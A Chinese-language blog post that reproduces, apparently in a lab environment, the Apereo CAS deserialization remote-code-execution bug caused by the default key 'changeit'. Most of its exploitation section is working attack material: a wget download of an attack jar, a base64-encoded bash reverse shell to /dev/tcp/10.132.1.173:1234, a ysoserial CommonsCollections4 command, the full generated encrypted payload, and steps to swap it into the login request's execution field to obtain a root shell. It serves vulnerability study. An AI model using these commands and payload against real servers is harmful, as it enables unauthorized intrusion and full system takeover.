Apereo CAS反序列化命令执行漏洞【SSV-98115 (Seebug漏洞ID)】复现
·
Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.17版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。这是一个官方披露的反序列化漏洞
漏洞复现
环境启动后,访问http://your-ip:8080/cas/login即可查看到登录页面。

漏洞原理实际上是Webflow中使用了默认密钥changeit:
public class EncryptedTranscoder implements Transcoder {
private CipherBean cipherBean;
private boolean compression = true;
public EncryptedTranscoder() throws IOException {
BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
bufferedBlockCipherBean.setKeyAlias("aes128");
bufferedBlockCipherBean.setKeyPassword("changeit");
bufferedBlockCipherBean.setNonce(new RBGNonce());
this.setCipherBean(bufferedBlockCipherBean);
}
// ...
漏洞利用
我们使用Apereo-CAS-AttackA来复现这个漏洞进行反弹shell操作。首先使用wget下载jar文件。
$ wget https://github.com/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar
然后我们将 bash -i >& /dev/tcp/10.132.1.173/1234 0>&1 进行base64编码,10.132.1.173为你机器的IP地址,编码后如下:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMS4xNzMvMTIzNCAwPiYx
接着使用ysoserial的CommonsCollections4生成加密后的Payload,这里需要低版本的java,高版本执行不成功,我这里使用的是1.8。
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMS4xNzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}"
生成如下:
9797162c-435b-4d3b-90ed-f186c4cc4739_AAAAIgAAABCboD%2BQVE%2BFM7m4hA6A4r%2BPAAAABmFlczEyOOVpKdmgP1b66TtO%2FXzAIN6MaFiIiXYzIuGejHzba9JeSbeRYHqqJKLtQv9P8nYgVamMd9HMySV2YNiyi2%2FkiDNNZCzP6I97aDD2yrviOoye84D3HP7Jk4lJ6wtxji6aQMVZnogDHEIQuuAcLnk7x%2FWFFGTvX3ZyFXUsxB1bTwRIjRyJXQ7DDcoE%2Fwxau%2FiEcQV358w%2FqxE%2BxrQcPVr3x6%2FBf1u%2FWc%2F6p0s4fF2Pke%2FXPsBDoOsz7PMebk7YXKsYTBtUsM6%2FopEgpoIt%2FUwHBb2pENX3zah8PkUKE4PzoGjpXSfYJ6mQQ8K5KY0ncTKeM9nlobRgRo9T33o3rTYjOpOqkbqYJise0yN7%2FIEoKZZvfHz8sM6r9DTfubcyGFri6cvJUYQX3QvoMrdciH5BvJyd4FknHC2q9u4gxpS8bHjMA0ELnSXbbTrClyfVgT%2FjPU8kSdneoSivc0qs0BTDceHh0ORCZoqOJBWAap9wR4F6WIJ0WhBAcWWAt5mWg7JPR%2B3VVn07cCP7ZEueLRDA5pt5pppiZmtEZWyWkyhF2Skj9ffo%2FY%2F0sZ9k4tsFYJUR3XCm6t8OCVW7Wi83PJ4p%2B3py8rB5haGfvakKRLap2YKIpPXw7rhapPgyD2j5FDBJczGKWjUey1vF8HMsxHaSpgQa%2BPxv3nxuDeMS4b4EQ97A0%2BD2y%2BSZOpo8nkEDAf6FdLAHIhicS3kv8x9Feb%2FQ2E0%2F9nQDQ5W7ZfENPuIS7by5uXRcbizuE8l3zLLyaqAl%2FKklHH2sIpTikEk%2F%2BuZSCioCUfaaRZVgB%2FjvBHo4j9D6WS3Q5RuIr%2F7QmKg9nnlFEiwXaJeXOsM5s2gksu8GwRTGMlHgszHwq7EKFGeuEZenOs352b4qYF3nnGhNoHw54CUtb%2B%2BJwXJdc6TK3USOw25Z2sGyFuT%2F7pTsUv8CMdr8%2B%2FQ3m6pGblleyO%2BTbC3%2BAt8WvKQZuyJdgeDWi33a8W00t54D7VHPC3OIc3NGchK6xvNnfMT22eaFE3KNwmW39hG5u7YEbbx6NNmsSiMPCU4KAgvVX3mixoi2IArmgn7T8%2FA9ZuGvnEw3S9ZgA4ycd9Awl2rlc3BVJDD2c2tAiF%2BXpzYddkWsfp8BwKsp7wk%2FI%2Fuh9uat9Z973bYxJio%2FY83Q%2Fx7jz%2F0qPfioZWdmmkaDl2PWDCV6mW7WtVtPuk4Ydu0%2BH%2BDgPhiqxFwHAjhgD18y5R3tuwDVNvsrv%2FF3EcZHg%2BbeNaQCTBwXTani6nugcfbUgEsCMnaCjPZ43bufjyxSy5%2BJbX655YqpjyUEVbknygxkRo3bZlR%2BkdYXNajWR0tQpsN2cxzYsIGV9WhYrCmAmWu8U0e0uKGsKa3%2BISHR7RGXLwg1dZfuqIdQq%2F%2Byr%2FuqyZu3NocVtxyyWpoxoDGvHmJWmngTvf4fOoBGUKHjFJ9Fa5y2k4PwdnRXu%2BYJ0sVwqQlJdBrCpZnefs2%2Bo9OCeRMEtqjhdbNkf224FSYkvVf%2BLZLSXee0vRXlR3jPlzpELa%2FT2Ls211tC%2F6RHRCf%2BLHupQLXk9Ic%2FkV1MOv%2FAp8X0j%2B18Pk9hxEN9vbhINK%2FEU46RzOYoAlhD3Et1RCO5c0gFRestPURFXsX14mw82EZOroEpmPL3mHp89cDjlvyWvCSkcTOtIteNSQPZx9FjPOTHWTcKgOkH%2F1%2B73ClXnAruq6tmCLE0xPF4tHeJ5%2BINeVy6%2B5aysx88miR%2FTKywqx%2BpeqR7gGECdY1QalMu2REMYDv9a9uhYPvat9aFSBs5O8ywMZOIBZc95%2FF2Y7kEtyScvUuxNbCLqHzPeGOsnLcIfxzV4OS4Z3RfSXQuiJAt2CpRMswkP6TUEDyT9b%2Fd3is8tP0Uei2dnqLJH2IpdGmvDAOxPlVVhdiCDWypoyIW0MG1Msa2huJIVdrPkxzJqVLQXvEBuPhbkZsDZmFGhlLP98fibhmfWWx1xUYHdG3GKWvQ4laYGqXWs8OK82RDsB4Q9JRPv%2FwzWd322Dwa3QzOQOoAgyPqPTUx%2FipGIIIAoHR6XertuA8KzZgcBpBYPzXt3wpyrro3t5SRKfg%3D
打开bp工具,随便输入用户名和密码登录CAS并抓包

本地监听1234端口,将Body中的execution值替换成上面生成的Payload发送:


漏洞利用成功,拿到了root用户的shell。
更多推荐
所有评论(0)